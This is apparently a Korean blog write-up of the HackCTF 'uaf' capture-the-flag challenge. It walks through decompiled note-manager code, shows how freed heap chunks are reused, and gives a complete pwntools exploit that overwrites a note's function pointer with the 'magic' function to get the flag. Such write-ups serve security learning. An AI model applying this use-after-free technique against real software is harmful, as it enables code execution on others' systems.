[HackCTF] uaf
System/PWNABLE

[HackCTF] uaf

728x90

checksec

32bit

Canary발견

(pwntools 새로운 버전이 나왔다..업데이트 해야지..)

 

Pseudo Code

IDA 32bit 로 확인

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts(&byte_8048D08);
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}
int menu()
{
  puts("----------------------");
  puts("        U-A-F         ");
  puts(&byte_8048C48);
  puts(asc_8048C70);
  puts("----------------------");
  puts(a1);
  puts(a2);
  puts(a3);
  puts(a4);
  puts("----------------------");
  return printf(&byte_8048CFD);
}
unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts(&byte_8048BE0);
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);
    puts(&byte_8048BCE);
  }
  return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts(&byte_8048BE0);
    _exit(0);
  }
  if ( notelist[v1] )
    (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}
unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts(aAllocate);
          exit(-1);
        }
        *(_DWORD *)notelist[i] = print_note_content;
        printf(&format);
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts(aAllocate);
          exit(-1);
        }
        printf(&byte_8048BC5);
        read(0, *((void **)notelist[i] + 1), size);
        puts(&byte_8048BCE);
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

첫 번째 malloc():  메뉴에서 1번 메뉴(노트 추가)를 선택했을 때 호출: 8byte만큼 할당

두 번째 malloc(): notelist[i]을 하나의 변수(v0)로 생각했을 때 v0에 대한..? 메모리 할당(노트 크기를 입력받고 호출)

첫 번쨰 read(): 사이즈 입력 받음 >> 8 byte만큼씩 읽어들이도록 되어있다

두 번째 read(): 내용을 입력받음 >> size 만큼씩 읽어들이도록 되어있다

이후 gdb를 통해 확인해보면 한 번 1번 노트추가를 할 때마다 heap chunk가 2개씩 생기는 것을 알 수 있다.

 

함수 리스트를 확인해보니 magic이라는 아주 유용하게 쓰일 듯 한 함수가 있었다. 바로 flag를 출력하도록 하는 듯하다.

 

간단하게 생각하면,

1. 노트 추가 == malloc() ; 메모리 할당 및 데이터 쓰기

2. 노트 삭제 == free() ; 메모리 해제

 

 

실행

 

1. 노트 추가: 10byte 만큼의 메모리를 할당받고"hello"라는 데이터를 씀

1. 노트 추가: 30byte 만큼의 메모리를 할당받고 "byebyebye"라는 데이터 씀

2. 노트 삭제: 인덱스 0번을 선택해 10 byte의 메모리를 해제 → 0번 인덱스에 쓰인 주소의 메모리 해제

1. 노트 추가: 12byte 만큼의 메모리를 할당받고 "seeya"라는 데이터를 씀 → 0번 인덱스가 가리키는 주소가 할당받고 해제한 메모리를 할당받음

3. 노트 출력: 2번 인덱스를 선택했을 때 당연히 "seeya"라는 데이터가 출력됨

3. 노트 출력: 0번 인덱스를 선택했을 때도 "seeya"라는 데이터가 출력됨 ← 0번 인덱스에 저장된 주소의 메모리를 2번 인덱스가 할당받고 그 위치에 "seeya"라는 문자열을 쓴 것 

>> 0번 인덱스를 통해 2번 인덱스의 내용에 접근 가능

 

Exploit

from pwn import *
from struct import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz",3020)
elf = ELF("./uaf")

magic = elf.symbols['magic']

def add_note(size, data):
	p.sendlineafter(" :", "1")
	p.sendlineafter(" :", str(size))
	p.sendlineafter(" :", data)
	p.recv()

def del_note(index):
	p.sendlineafter(" :", "2")
	p.sendlineafter(" :", str(index))
	p.recv()
	
def print_note(index):
	p.sendlineafter(" :", "3")
	p.sendlineafter(" :", str(index))

#gdb.attach(p)
add_note(0x100, "AAAA")
add_note(0x100, "BBBB")

del_note(0)
del_note(1)

#add_note("0x10", "CCCC")
add_note(0x80, p32(magic))

print_note(0)

p.interactive()

add_note와 del_note 후에 p.recv()까지 해줘야한다.

! 성공 !

SMALL

'System > PWNABLE' 카테고리의 다른 글

[LOB] gate → gremlin  (2) 2021.01.14
[Dreamhack] house_of_force  (0) 2020.11.08
first  (0) 2020.09.06
[HackCTF] RTC  (0) 2020.08.23
baby1  (0) 2020.08.23